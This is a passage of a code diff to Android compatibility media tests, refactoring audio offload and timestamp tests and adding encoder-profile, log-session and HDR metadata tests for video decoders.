+                getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3));
     }
 
     public void testOpusAudioTrackOffload() throws Exception {
         testAudioTrackOffload(R.raw.testopus,
-                              /* bitRateInkbps= */ 118, // Average
-                              getAudioFormatWithEncoding(AudioFormat.ENCODING_OPUS));
+                /* bitRateInkbps= */ 118, // Average
+                getAudioFormatWithEncoding(AudioFormat.ENCODING_OPUS));
     }
 
-    /** Test offload of an audio resource that MUST be at least 3sec long. */
+    private @Nullable AudioTrack getOffloadAudioTrack(@RawRes int audioRes, int bitRateInkbps,
+                                            AudioFormat audioFormat) {
+        if (!AudioManager.isOffloadedPlaybackSupported(audioFormat, DEFAULT_ATTR)) {
+            Log.i(TAG, "skipping testAudioTrackOffload as offload encoding "
+                    + audioFormat.getEncoding() + " is not supported");
+            // cannot test if offloading is not supported
+            return null;
+        }
+
+        int bufferSizeInBytes = bitRateInkbps * 1000 * BUFFER_SIZE_SEC / 8;
+        // format is offloadable, test playback head is progressing
+        AudioTrack track = new AudioTrack.Builder()
+                .setAudioAttributes(DEFAULT_ATTR)
+                .setAudioFormat(audioFormat)
+                .setTransferMode(AudioTrack.MODE_STREAM)
+                .setBufferSizeInBytes(bufferSizeInBytes)
+                .setOffloadedPlayback(true)
+                .build();
+        assertNotNull("Couldn't create offloaded AudioTrack", track);
+        assertEquals("Unexpected track sample rate", AUDIOTRACK_DEFAULT_SAMPLE_RATE,
+                track.getSampleRate());
+        assertEquals("Unexpected track channel mask", AUDIOTRACK_DEFAULT_CHANNEL_MASK,
+                track.getChannelConfiguration());
+        return track;
+    }
+
+    /**
+     * Test offload of an audio resource that MUST be at least 3sec long.
+     */
     private void testAudioTrackOffload(@RawRes int audioRes, int bitRateInkbps,
                                        AudioFormat audioFormat) throws Exception {
         AudioTrack track = null;
-        int bufferSizeInBytes3sec = bitRateInkbps * 1024 * BUFFER_SIZE_SEC / 8;
         try (AssetFileDescriptor audioToOffload = getContext().getResources()
                 .openRawResourceFd(audioRes);
              InputStream audioInputStream = audioToOffload.createInputStream()) {
 
-            if (!AudioManager.isOffloadedPlaybackSupported(audioFormat, DEFAULT_ATTR)) {
-                Log.i(TAG, "skipping testAudioTrackOffload as offload for encoding "
-                           + audioFormat.getEncoding() + " is not supported");
-                // cannot test if offloading is not supported
+            track = getOffloadAudioTrack(audioRes, bitRateInkbps, audioFormat);
+            if (track == null) {
                 return;
             }
 
-            // format is offloadable, test playback head is progressing
-            track = new AudioTrack.Builder()
-                    .setAudioAttributes(DEFAULT_ATTR)
-                    .setAudioFormat(audioFormat)
-                    .setTransferMode(AudioTrack.MODE_STREAM)
-                    .setBufferSizeInBytes(bufferSizeInBytes3sec)
-                    .setOffloadedPlayback(true).build();
-            assertNotNull("Couldn't create offloaded AudioTrack", track);
-            assertEquals("Unexpected track sample rate", 44100, track.getSampleRate());
-            assertEquals("Unexpected track channel config", AudioFormat.CHANNEL_OUT_STEREO,
-                    track.getChannelConfiguration());
-
             try {
                 track.registerStreamEventCallback(mExec, null);
                 fail("Shouldn't be able to register null StreamEventCallback");
-            } catch (Exception e) { }
+            } catch (Exception e) {
+            }
             track.registerStreamEventCallback(mExec, mCallback);
 
+            int bufferSizeInBytes3sec = bitRateInkbps * 1000 * BUFFER_SIZE_SEC / 8;
             final byte[] data = new byte[bufferSizeInBytes3sec];
             final int read = audioInputStream.read(data);
             assertEquals("Could not read enough audio from the resource file",
-                         bufferSizeInBytes3sec, read);
+                    bufferSizeInBytes3sec, read);
 
             track.play();
             int written = 0;
@@ -180,6 +223,73 @@
         return (SystemClock.uptimeMillis() - checkStart);
     }
 
+    private AudioTrack allocNonOffloadAudioTrack() {
+        // Attrributes the AudioTrack are irrelevant in this case. We just need to provide
+        // an AudioTrack that IS NOT offloaded so that we can demonstrate failure.
+        AudioTrack track = new AudioTrack.Builder()
+                .setBufferSizeInBytes(2048/*arbitrary*/)
+                .build();
+
+        assert(track != null);
+        return track;
+    }
+
+     // Arbitrary values..
+    private static final int TEST_DELAY = 50;
+    private static final int TEST_PADDING = 100;
+    public void testOffloadPadding() {
+        AudioTrack track =
+                getOffloadAudioTrack(R.raw.sine1khzs40dblong,
+                /* bitRateInkbps= */ 192,
+                getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3));
+        if (track == null) {
+            return;
+        }
+
+        assertTrue(track.getOffloadPadding() >= 0);
+
+        track.setOffloadDelayPadding(0 /*delayInFrames*/, 0 /*paddingInFrames*/);
+
+        int offloadDelay;
+        offloadDelay = track.getOffloadDelay();
+        assertEquals(0, offloadDelay);
+
+        int padding = track.getOffloadPadding();
+        assertEquals(0, padding);
+
+        track.setOffloadDelayPadding(
+                TEST_DELAY /*delayInFrames*/,
+                TEST_PADDING /*paddingInFrames*/);
+        offloadDelay = track.getOffloadDelay();
+        assertEquals(TEST_DELAY, offloadDelay);
+        padding = track.getOffloadPadding();
+        assertEquals(TEST_PADDING, padding);
+    }
+
+    public void testIsOffloadedPlayback() {
+        // non-offloaded case
+        AudioTrack nonOffloadTrack = allocNonOffloadAudioTrack();
+        assertFalse(nonOffloadTrack.isOffloadedPlayback());
+
+        // offloaded case
+        AudioTrack offloadTrack =
+                getOffloadAudioTrack(R.raw.sine1khzs40dblong,
+                        /* bitRateInkbps= */ 192,
+                        getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3));
+        if (offloadTrack == null) {
+            return;
+        }
+        assertTrue(offloadTrack.isOffloadedPlayback());
+    }
+
+    public void testSetOffloadEndOfStreamWithNonOffloadedTrack() {
+        // Non-offload case
+        AudioTrack nonOffloadTrack = allocNonOffloadAudioTrack();
+        assertFalse(nonOffloadTrack.isOffloadedPlayback());
+        org.testng.Assert.assertThrows(IllegalStateException.class,
+                () -> nonOffloadTrack.setOffloadEndOfStream());
+    }
+
     private static AudioFormat getAudioFormatWithEncoding(int encoding) {
        return new AudioFormat.Builder()
             .setEncoding(encoding)
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index c13c852..82366ae 100755
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -35,6 +35,7 @@
 import android.media.AudioTimestamp;
 import android.media.AudioTrack;
 import android.media.PlaybackParams;
+import android.media.metrics.LogSessionId;
 import android.os.PersistableBundle;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
@@ -2145,6 +2146,7 @@
                 streamName);
     }
 
+    // Note: this test may fail if playing through a remote device such as Bluetooth.
     private void doTestTimestamp(int sampleRate, int channelMask, int encoding, int transferMode,
             String streamName) throws Exception {
         // constants for test
@@ -2153,6 +2155,7 @@
         final int TEST_USAGE = AudioAttributes.USAGE_MEDIA;
 
         final int MILLIS_PER_SECOND = 1000;
+        final int FRAME_TOLERANCE = sampleRate * TEST_BUFFER_MS / MILLIS_PER_SECOND;
 
         // -------- initialization --------------
         final int frameSize =
@@ -2191,62 +2194,79 @@
             track.play();
 
             // Android nanoTime implements MONOTONIC, same as our audio timestamps.
-            final long trackStartTimeNs = System.nanoTime();
 
             final ByteBuffer data = ByteBuffer.allocate(frameCount * frameSize);
             data.order(java.nio.ByteOrder.nativeOrder()).limit(frameCount * frameSize);
             final AudioTimestamp timestamp = new AudioTimestamp();
 
             long framesWritten = 0;
-            final AudioHelper.TimestampVerifier tsVerifier =
-                    new AudioHelper.TimestampVerifier(TAG, sampleRate, isProAudioDevice());
-            for (int i = 0; i < TEST_LOOP_CNT; ++i) {
-                final long trackWriteTimeNs = System.nanoTime();
 
-                data.position(0);
-                assertEquals("write did not complete",
-                        data.limit(), track.write(data, data.limit(), AudioTrack.WRITE_BLOCKING));
-                assertEquals("write did not fill buffer",
-                        data.position(), data.limit());
-                framesWritten += data.limit() / frameSize;
+            // We start data delivery twice, the second start simulates restarting
+            // the track after a fully drained underrun (important case for Android TV).
+            for (int start = 0; start < 2; ++start) {
+                final long trackStartTimeNs = System.nanoTime();
+                final AudioHelper.TimestampVerifier tsVerifier =
+                        new AudioHelper.TimestampVerifier(
+                                TAG + "(start " + start + ")",
+                                sampleRate, framesWritten, isProAudioDevice());
+                for (int i = 0; i < TEST_LOOP_CNT; ++i) {
+                    final long trackWriteTimeNs = System.nanoTime();
 
-                // track.getTimestamp may return false if there are no physical HAL outputs.
-                // This may occur on TV devices without connecting an HDMI monitor.
-                // It may also be true immediately after start-up, as the mixing thread could
-                // be idle, but since we've already pushed much more than the minimum buffer size,
-                // that is unlikely.
-                // Nevertheless, we don't want to have unnecessary failures, so we ignore the
-                // first iteration if we don't get a timestamp.
-                final boolean result = track.getTimestamp(timestamp);
-                assertTrue("timestamp could not be read", result || i == 0);
-                if (!result) {
-                    continue;
+                    data.position(0);
+                    assertEquals("write did not complete",
+                            data.limit(), track.write(data, data.limit(),
+                            AudioTrack.WRITE_BLOCKING));
+                    assertEquals("write did not fill buffer",
+                            data.position(), data.limit());
+                    framesWritten += data.limit() / frameSize;
+
+                    // track.getTimestamp may return false if there are no physical HAL outputs.
+                    // This may occur on TV devices without connecting an HDMI monitor.
+                    // It may also be true immediately after start-up, as the mixing thread could
+                    // be idle, but since we've already pushed much more than the
+                    // minimum buffer size, that is unlikely.
+                    // Nevertheless, we don't want to have unnecessary failures, so we ignore the
+                    // first iteration if we don't get a timestamp.
+                    final boolean result = track.getTimestamp(timestamp);
+                    assertTrue("timestamp could not be read", result || i == 0);
+                    if (!result) {
+                        continue;
+                    }
+
+                    tsVerifier.add(timestamp);
+
+                    // Ensure that seen is greater than presented.
+                    // This is an "on-the-fly" read without pausing because pausing may cause the
+                    // timestamp to become stale and affect our jitter measurements.
+                    final long framesPresented = timestamp.framePosition;
+                    final int framesSeen = track.getPlaybackHeadPosition();
+                    assertTrue("server frames ahead of client frames",
+                            framesWritten >= framesSeen);
+                    assertTrue("presented frames ahead of server frames",
+                            framesSeen >= framesPresented);
                 }
+                // Full drain.
+                Thread.sleep(1000 /* millis */);
+                // check that we are really at the end of playback.
+                assertTrue("timestamp should be valid while draining",
+                        track.getTimestamp(timestamp));
+                // Fast tracks and sw emulated tracks may not fully drain.
+                // We log the status here.
+                if (framesWritten != timestamp.framePosition) {
+                    Log.d(TAG, "timestamp should fully drain.  written: "
+                            + framesWritten + " position: " + timestamp.framePosition);
+                }
+                final long framesLowerLimit = framesWritten - FRAME_TOLERANCE;
+                assertTrue("timestamp frame position needs to be close to written: "
+                                + timestamp.framePosition  + " >= " + framesLowerLimit,
+                        timestamp.framePosition >= framesLowerLimit);
 
-                tsVerifier.add(timestamp);
+                assertTrue("timestamp should not advance during underrun: "
+                        + timestamp.framePosition  + " <= " + framesWritten,
+                        timestamp.framePosition <= framesWritten);
 
-                // Ensure that seen is greater than presented.
-                // This is an "on-the-fly" read without pausing because pausing may cause the
-                // timestamp to become stale and affect our jitter measurements.
-                final long framesPresented = timestamp.framePosition;
-                final int framesSeen = track.getPlaybackHeadPosition();
-                assertTrue("server frames ahead of client frames",
-                        framesWritten >= framesSeen);
-                assertTrue("presented frames ahead of server frames",
-                        framesSeen >= framesPresented);
+                tsVerifier.verifyAndLog(trackStartTimeNs, streamName);
             }
-            // Full drain.
-            Thread.sleep(1000 /* millis */);
-            // check that we are really at the end of playback.
-            assertTrue("timestamp should be valid while draining", track.getTimestamp(timestamp));
-            // fast tracks and sw emulated tracks may not fully drain.  we log the status here.
-            if (framesWritten != timestamp.framePosition) {
-                Log.d(TAG, "timestamp should fully drain.  written: "
-                        + framesWritten + " position: " + timestamp.framePosition);
-            }
-
-            tsVerifier.verifyAndLog(trackStartTimeNs, streamName);
-
         } finally {
             track.release();
         }
@@ -2911,6 +2931,38 @@
             audioTrack.getAudioDescriptionMixLeveldB(), 0.f /*delta*/);
     }
 
+    @Test
+    public void testSetLogSessionId() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        AudioTrack audioTrack = null;
+        try {
+            audioTrack = new AudioTrack.Builder()
+                    .setAudioFormat(new AudioFormat.Builder()
+                            .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                            .setChannelMask(AudioFormat.CHANNEL_OUT_MONO)
+                            .build())
+                    .build();
+            audioTrack.setLogSessionId(LogSessionId.LOG_SESSION_ID_NONE); // should not throw.
+            audioTrack.setLogSessionId(
+                    new LogSessionId("0123456789abcdef")); // 16 char Base64Url id.
+
+            // write some data to generate a log entry.
+            short data[] = new short[audioTrack.getSampleRate() / 2];
+            audioTrack.play();
+            audioTrack.write(data, 0 /* offsetInShorts */, data.length);
+            audioTrack.stop();
+            Thread.sleep(500 /* millis */); // drain
+
+            // Also can check the mediametrics dumpsys to validate logs generated.
+        } finally {
+            if (audioTrack != null) {
+                audioTrack.release();
+            }
+        }
+    }
+
     /*
      * The following helpers and tests are used to test setting
      * and getting the start threshold in frames.
diff --git a/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java b/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java
index b0bedf6..69ad6a0 100644
--- a/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java
+++ b/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java
@@ -22,6 +22,7 @@
 import android.hardware.Camera.Size;
 import android.hardware.cts.helpers.CameraUtils;
 import android.media.CamcorderProfile;
+import android.media.EncoderProfiles;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
@@ -112,6 +113,57 @@
                                    videoSizes));
     }
 
+    private void checkAllProfiles(EncoderProfiles allProfiles, CamcorderProfile profile,
+                                  List<Size> videoSizes) {
+        Log.v(TAG, String.format("profile: duration=%d, quality=%d, " +
+            "fileFormat=%d, videoCodec=%d, videoBitRate=%d, videoFrameRate=%d, " +
+            "videoFrameWidth=%d, videoFrameHeight=%d, audioCodec=%d, " +
+            "audioBitRate=%d, audioSampleRate=%d, audioChannels=%d",
+            profile.duration,
+            profile.quality,
+            profile.fileFormat,
+            profile.videoCodec,
+            profile.videoBitRate,
+            profile.videoFrameRate,
+            profile.videoFrameWidth,
+            profile.videoFrameHeight,
+            profile.audioCodec,
+            profile.audioBitRate,
+            profile.audioSampleRate,
+            profile.audioChannels));
+        // generic fields must match the corresponding CamcorderProfile
+        assertEquals(profile.duration, allProfiles.getDurationSeconds());
+        assertEquals(profile.fileFormat, allProfiles.getFileFormat());
+        boolean first = true;
+        for (EncoderProfiles.VideoProfile videoProfile : allProfiles.getVideoProfiles()) {
+            if (first) {
+                // the first profile must be the default profile which must match
+                // the corresponding CamcorderProfile
+                assertEquals(profile.videoCodec, videoProfile.getCodec());
+                assertEquals(profile.videoBitRate, videoProfile.getBitrate());
+                assertEquals(profile.videoFrameRate, videoProfile.getFrameRate());
+                first = false;
+            }
+            // all profiles must be the same size
+            assertEquals(profile.videoFrameWidth, videoProfile.getWidth());
+            assertEquals(profile.videoFrameHeight, videoProfile.getHeight());
+            assertTrue(videoProfile.getMediaType() != null);
+        }
+        first = true;
+        for (EncoderProfiles.AudioProfile audioProfile : allProfiles.getAudioProfiles()) {
+            if (first) {
+                // the first profile must be the default profile which must match
+                // the corresponding CamcorderProfile
+                assertEquals(profile.audioCodec, audioProfile.getCodec());
+                assertEquals(profile.audioBitRate, audioProfile.getBitrate());
+                assertEquals(profile.audioSampleRate, audioProfile.getSampleRate());
+                assertEquals(profile.audioChannels, audioProfile.getChannels());
+                first = false;
+            }
+            assertTrue(audioProfile.getMediaType() != null);
+        }
+    }
+
     private void assertProfileEquals(CamcorderProfile expectedProfile,
             CamcorderProfile actualProfile) {
         assertEquals(expectedProfile.duration, actualProfile.duration);
@@ -279,6 +331,11 @@
                 }
                 CamcorderProfile profile = getWithOptionalId(quality, cameraId);
                 checkProfile(profile, videoSizesToCheck);
+                if (cameraId >= 0) {
+                    EncoderProfiles allProfiles =
+                        CamcorderProfile.getAll(String.valueOf(cameraId), quality);
+                    checkAllProfiles(allProfiles, profile, videoSizesToCheck);
+                }
             }
         }
 
diff --git a/tests/tests/media/src/android/media/cts/CodecState.java b/tests/tests/media/src/android/media/cts/CodecState.java
index a93a1f5..cfee146 100644
--- a/tests/tests/media/src/android/media/cts/CodecState.java
+++ b/tests/tests/media/src/android/media/cts/CodecState.java
@@ -19,6 +19,7 @@
 import android.media.MediaCodec;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
+import android.os.Bundle;
 import android.os.Handler;
 import android.os.Looper;
 import android.util.Log;
@@ -420,4 +421,10 @@
         }
         mCodec.setOutputSurface(surface);
     }
+
+    public void setVideoPeek(boolean enable) {
+        Bundle parameters = new Bundle();
+        parameters.putInt(MediaCodec.PARAMETER_KEY_TUNNEL_PEEK, enable ? 1 : 0);
+        mCodec.setParameters(parameters);
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
index b0efebe..2ee0a9c 100644
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTest.java
@@ -34,6 +34,8 @@
 import android.media.MediaFormat;
 import android.os.ParcelFileDescriptor;
 import android.os.Build;
+import android.os.Handler;
+import android.os.HandlerThread;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 import android.view.Display;
@@ -93,8 +95,6 @@
     private static final int SLEEP_TIME_MS = 1000;
     private static final long PLAY_TIME_MS = TimeUnit.MILLISECONDS.convert(1, TimeUnit.MINUTES);
 
-    private static final String AUDIO_URL_KEY = "decoder_test_audio_url";
-    private static final String VIDEO_URL_KEY = "decoder_test_video_url";
     private static final String MODULE_NAME = "CtsMediaTestCases";
     private DynamicConfigDeviceSide dynamicConfig;
     private DisplayManager mDisplayManager;
@@ -323,6 +323,7 @@
                                 sampleRate,
                                 channelCount);
                         codec.configure(desiredFormat, null, null, 0);
+                        codec.start();
 
                         Log.d(TAG, "codec: " + codecInfo.getName() +
                                 " sample rate: " + sampleRate +
@@ -870,103 +871,111 @@
         }
     }
 
+    private static final String VP9_HDR_RES = "video_1280x720_vp9_hdr_static_3mbps.mkv";
+    private static final String VP9_HDR_STATIC_INFO =
+            "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
+            "40 e8 03 64 00 e8 03 2c  01                     " ;
+
+    private static final String AV1_HDR_RES = "video_1280x720_av1_hdr_static_3mbps.webm";
+    private static final String AV1_HDR_STATIC_INFO =
+            "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
+            "40 e8 03 64 00 e8 03 2c  01                     " ;
+
+    // Expected value of MediaFormat.KEY_HDR_STATIC_INFO key.
+    // The associated value is a ByteBuffer. This buffer contains the raw contents of the
+    // Static Metadata Descriptor (including the descriptor ID) of an HDMI Dynamic Range and
+    // Mastering InfoFrame as defined by CTA-861.3.
+    // Media frameworks puts the display primaries in RGB order, here we verify the three
+    // primaries are indeed in this order and fail otherwise.
+    private static final String H265_HDR10_RES = "video_1280x720_hevc_hdr10_static_3mbps.mp4";
+    private static final String H265_HDR10_STATIC_INFO =
+            "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
+            "40 e8 03 00 00 e8 03 90  01                     " ;
+
+    private static final String VP9_HDR10PLUS_RES = "video_bikes_hdr10plus.webm";
+    private static final String VP9_HDR10PLUS_STATIC_INFO =
+            "00 4c 1d b8 0b d0 84 80  3e c0 33 c4 86 12 3d 42" +
+            "40 e8 03 32 00 e8 03 c8  00                     " ;
+    // TODO: Use some manually extracted metadata for now.
+    // MediaExtractor currently doesn't have an API for extracting
+    // the dynamic metadata. Get the metadata from extractor when
+    // it's supported.
+    private static final String[] VP9_HDR10PLUS_DYNAMIC_INFO = new String[] {
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
+            "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
+            "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00" ,
+
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
+            "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
+            "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00" ,
+
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0e 80 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
+            "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
+            "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00" ,
+
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0e 80 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
+            "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
+            "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00" ,
+    };
+
+    private static final String H265_HDR10PLUS_RES = "video_h265_hdr10plus.mp4";
+    private static final String H265_HDR10PLUS_STATIC_INFO =
+            "00 4c 1d b8 0b d0 84 80  3e c2 33 c4 86 13 3d 42" +
+            "40 e8 03 32 00 e8 03 c8  00                     " ;
+    private static final String[] H265_HDR10PLUS_DYNAMIC_INFO = new String[] {
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0f 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 a1" +
+            "90 03 9a 58 0b 6a d0 23  2a f8 40 8b 18 9c 18 00" +
+            "40 78 13 64 cf 78 ed cc  bf 5a de f9 8e c7 c3 00" ,
+
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 a1" +
+            "90 03 9a 58 0b 6a d0 23  2a f8 40 8b 18 9c 18 00" +
+            "40 78 13 64 cf 78 ed cc  bf 5a de f9 8e c7 c3 00" ,
+
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0f 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 a1" +
+            "90 03 9a 58 0b 6a d0 23  2a f8 40 8b 18 9c 18 00" +
+            "40 78 13 64 cf 78 ed cc  bf 5a de f9 8e c7 c3 00" ,
+
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 a1" +
+            "90 03 9a 58 0b 6a d0 23  2a f8 40 8b 18 9c 18 00" +
+            "40 78 13 64 cf 78 ed cc  bf 5a de f9 8e c7 c3 00"
+    };
+
     @CddTest(requirement="5.3.7")
     public void testVp9HdrStaticMetadata() throws Exception {
-        final String staticInfo =
-                "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
-                "40 e8 03 64 00 e8 03 2c  01                     " ;
-        testHdrStaticMetadata("video_1280x720_vp9_hdr_static_3mbps.mkv", staticInfo,
+        testHdrStaticMetadata(VP9_HDR_RES, VP9_HDR_STATIC_INFO,
                 true /*metadataInContainer*/);
     }
 
     @CddTest(requirement="5.3.9")
     public void testAV1HdrStaticMetadata() throws Exception {
-        final String staticInfo =
-                "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
-                "40 e8 03 64 00 e8 03 2c  01                     " ;
-        testHdrStaticMetadata("video_1280x720_av1_hdr_static_3mbps.webm", staticInfo,
+        testHdrStaticMetadata(AV1_HDR_RES, AV1_HDR_STATIC_INFO,
                 false /*metadataInContainer*/);
     }
 
     @CddTest(requirement="5.3.5")
     public void testH265HDR10StaticMetadata() throws Exception {
-        // Expected value of MediaFormat.KEY_HDR_STATIC_INFO key.
-        // The associated value is a ByteBuffer. This buffer contains the raw contents of the
-        // Static Metadata Descriptor (including the descriptor ID) of an HDMI Dynamic Range and
-        // Mastering InfoFrame as defined by CTA-861.3.
-        // Media frameworks puts the display primaries in RGB order, here we verify the three
-        // primaries are indeed in this order and fail otherwise.
-        final String staticInfo =
-                "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
-                "40 e8 03 00 00 e8 03 90  01                     " ;
-        testHdrStaticMetadata("video_1280x720_hevc_hdr10_static_3mbps.mp4", staticInfo,
+        testHdrStaticMetadata(H265_HDR10_RES, H265_HDR10_STATIC_INFO,
                 false /*metadataInContainer*/);
     }
 
     @CddTest(requirement="5.3.7")
     public void testVp9Hdr10PlusMetadata() throws Exception {
-        final String staticInfo =
-                "00 4c 1d b8 0b d0 84 80  3e c0 33 c4 86 12 3d 42" +
-                "40 e8 03 32 00 e8 03 c8  00                     " ;
-
-        // TODO: Use some manually extracted metadata for now.
-        // MediaExtractor currently doesn't have an API for extracting
-        // the dynamic metadata. Get the metadata from extractor when
-        // it's supported.
-        final String[] dynamicInfo = {
-                "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
-                "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
-                "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
-                "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00" ,
-
-                "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
-                "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
-                "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
-                "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00" ,
-
-                "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
-                "0e 80 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
-                "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
-                "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00" ,
-
-                "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
-                "0e 80 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
-                "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
-                "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00" ,
-        };
-        testHdrMetadata("video_bikes_hdr10plus.webm",
-                staticInfo, dynamicInfo, true /*metadataInContainer*/);
+        testHdrMetadata(VP9_HDR10PLUS_RES, VP9_HDR10PLUS_STATIC_INFO,
+                VP9_HDR10PLUS_DYNAMIC_INFO, true /*metadataInContainer*/);
     }
 
     @CddTest(requirement="5.3.5")
     public void testH265Hdr10PlusMetadata() throws Exception {
-        final String staticInfo =
-                "00 4c 1d b8 0b d0 84 80  3e c2 33 c4 86 13 3d 42" +
-                "40 e8 03 32 00 e8 03 c8  00                     " ;
-
-        final String[] dynamicInfo = {
-                "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
-                "0f 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 a1" +
-                "90 03 9a 58 0b 6a d0 23  2a f8 40 8b 18 9c 18 00" +
-                "40 78 13 64 cf 78 ed cc  bf 5a de f9 8e c7 c3 00" ,
-
-                "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
-                "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 a1" +
-                "90 03 9a 58 0b 6a d0 23  2a f8 40 8b 18 9c 18 00" +
-                "40 78 13 64 cf 78 ed cc  bf 5a de f9 8e c7 c3 00" ,
-
-                "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
-                "0f 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 a1" +
-                "90 03 9a 58 0b 6a d0 23  2a f8 40 8b 18 9c 18 00" +
-                "40 78 13 64 cf 78 ed cc  bf 5a de f9 8e c7 c3 00" ,
-
-                "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
-                "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 a1" +
-                "90 03 9a 58 0b 6a d0 23  2a f8 40 8b 18 9c 18 00" +
-                "40 78 13 64 cf 78 ed cc  bf 5a de f9 8e c7 c3 00"
-        };
-        testHdrMetadata("video_h265_hdr10plus.mp4",
-                staticInfo, dynamicInfo, false /*metadataInContainer*/);
+        testHdrMetadata(H265_HDR10PLUS_RES, H265_HDR10PLUS_STATIC_INFO,
+                H265_HDR10PLUS_DYNAMIC_INFO, false /*metadataInContainer*/);
     }
 
     private void testHdrStaticMetadata(final String res, String staticInfo,
@@ -1188,6 +1197,240 @@
         return Arrays.copyOfRange(tempArray, 0, i);
     }
 
+    public void testVp9HdrToSdr() throws Exception {
+        testHdrToSdr(VP9_HDR_RES, null /* dynamicInfo */,
+                true /*metadataInContainer*/);
+    }
+
+    public void testAV1HdrToSdr() throws Exception {
+        testHdrToSdr(AV1_HDR_RES, null /* dynamicInfo */,
+                false /*metadataInContainer*/);
+    }
+
+    public void testH265HDR10ToSdr() throws Exception {
+        testHdrToSdr(H265_HDR10_RES, null /* dynamicInfo */,
+                false /*metadataInContainer*/);
+    }
+
+    public void testVp9Hdr10PlusToSdr() throws Exception {
+        testHdrToSdr(VP9_HDR10PLUS_RES, VP9_HDR10PLUS_DYNAMIC_INFO,
+                true /*metadataInContainer*/);
+    }
+
+    public void testH265Hdr10PlusToSdr() throws Exception {
+        testHdrToSdr(H265_HDR10PLUS_RES, H265_HDR10PLUS_DYNAMIC_INFO,
+                false /*metadataInContainer*/);
+    }
+
+    private static boolean DEBUG_HDR_TO_SDR_PLAY_VIDEO = false;
+    private static final String INVALID_HDR_STATIC_INFO =
